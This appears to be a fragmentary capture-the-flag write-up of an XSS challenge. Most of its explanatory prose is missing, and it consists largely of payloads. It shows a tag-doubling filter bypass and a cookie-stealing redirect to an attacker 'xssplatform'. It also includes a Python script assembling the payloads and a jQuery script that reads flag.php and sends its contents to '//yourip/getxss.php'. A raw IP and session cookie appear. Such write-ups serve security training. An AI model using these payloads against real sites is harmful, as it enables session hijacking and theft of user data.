
  

admin 

http://52.80.63.91/

Get Cookie   

Content-Security-Policy:
default-src 'self';
script-src 'self' 'unsafe-inline' 'unsafe-eval';
style-src 'self' 'unsafe-inline';

CSP

'script' -> ''
...

scrscriptipt

payload = """<scrscriptipt>window.locatioonn="%s?
cookie="+escape(document.cookie)</scrscriptipt>""" % (xssplatform)

cookie

PHPSESSID=bgvo176v0fb7k0ur6ntiughn27

admin cookie

Wow, good guys,maybe you want /adminshigesha233e3333#admin

XSS

Get Flag   

  

http://52.80.63.91/


<script nonce='nuU6doJNE09y'>document.write('Hello,' + 
unescape(location.hash.substring(1)) + '\r\n maybe something in 
flag.php')</script><script nonce='nuU6doJNE09y'>console.log('bad boy!!')
</script>

script

  

Content-Security-Policy:
default-src 'self'; script-src 'nonce-nuU6doJNE09y';

balabala~~

document.write

http://52.80.63.91/adminshigesha233e3333/#<script
http://52.80.63.91/adminshigesha233e3333/#<script 
src='//youip/payload.js'

Poc   



fuck.py

payload_1 = "<scrscriptipt>window.locatioonn=\"%s?
cookie=\"+escape(document.cookie)</scrscriptipt>" % (xssplatform)

payload_2 = "<scrscriptipt>window.locatioonn=\"/adminshigesha233e3333/#
<scrscriptipt src='%s'\"</scrscriptipt>" % (xsspayload)

xss.js

// jquery.min.js payload
$.get("/adminshigesha233e3333/flag.php",
    function (res) {
        window.location="//yourip/getxss.php?flag="+escape(res)
    }
});

Flag   

pwnhub{flag:%u5411%u5927%u4F6C%u4F4E%u5934%u7684.avi}

pwnhub{flag: .avi}
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